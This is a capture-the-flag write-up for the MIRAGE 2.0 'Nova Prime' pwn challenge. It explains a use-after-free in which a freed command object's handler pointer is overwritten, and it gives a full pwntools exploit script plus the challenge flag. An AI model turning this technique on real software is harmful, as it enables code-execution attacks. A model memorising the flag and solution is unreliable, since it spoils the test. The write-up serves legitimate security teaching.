

Nova Prime's Last Stand

MIRAGE 2.0 — Binary Exploitation — Official Writeup

CATEGORY	DIFFICULTY	PORT
Pwn / Use-After-Free	Medium (275 pts)	1669/tcp
FILES	VULNERABILITY	STATUS
nova_prime (binary only, with debug symbols)	Use-after-free → function-pointer hijack	Solved

Challenge Premise

No source is provided (intentionally, per the deployment README), but the binary retains DWARF debug symbols, which made recovering real function and struct names from the disassembly straightforward.

Reversing the Binary

main manages an 8-slot global array `Command *commands[8]`. Each `struct Command` is a 96-byte (`malloc(0x60)`) heap object:

```
struct Command {
    char name[24];           // offset 0x00
    void (*handler)(char *); // offset 0x18
    char data[64];           // offset 0x20
};
```

- **Register** — allocates a slot, sets `handler = normal_handler`, reads a name and data blob.
- **Retire** — calls `free(commands[slot])` but **never sets** `commands[slot] = NULL`. The game's own diagnostic text even hints at this (“warning: command handle remains cached” / “retirement cleanup: DEGRADED”).
- **Reforge** — rewrites a slot's raw 96 bytes via `fgets`, checking only that the slot pointer is non-NULL — not whether it was already freed.
- **Execute** — calls `commands[slot] -> handler(commands[slot] -> data)`.

The Use-After-Free

Because `retire` leaves the dangling pointer cached in `commands[slot]`, both `reforge` and `execute` will happily operate on freed memory. `reforge` writes 96 attacker-controlled bytes directly into the freed chunk, which — since nothing else has reallocated it yet — overwrites the `handler` function pointer at offset 0x18 with any value of the participant's choosing.

The binary is **non-PIE** (fixed base 0x400000), so no leak is required. Static analysis turns up a function `nova_prime()` at 0x40125a — dead code, never called from `main` — that opens and prints `flag.txt`, ignoring whatever argument it is called with.

Participant Solve Steps

```
from pwn import *

io = remote('<host>', 1669)
NOVA_PRIME = 0x40125a

io.sendlineafter(b'>', b'1')      # Register slot 0
io.sendline(b'anything')          # name
io.sendline(b'anything')          # data

io.sendlineafter(b'>', b'2')      # Retire slot 0 -> frees, pointer stays cached
io.sendline(b'0')

io.sendlineafter(b'>', b'3')      # Reforge slot 0 -> raw overwrite of freed chunk
io.sendline(b'0')
io.sendline(b'A' * 24 + p64(NOVA_PRIME)) # overwrite handler @ offset 0x18

io.sendlineafter(b'>', b'4')      # Execute slot 0 -> calls nova_prime(data)
io.sendline(b'0')

io.interactive()
```

FLAG

MIRAGE{n0va_pr1m3_st4nds_wh3n_th3_v4ult_coll4ps}

Verification

Built the challenge's own Dockerfile, ran it as a live service, and drove the exact sequence above over a socket — the service responded “[!!!] NOVA PRIME OVERRIDE ACCEPTED” followed by the flag shown above, matching flag.txt exactly.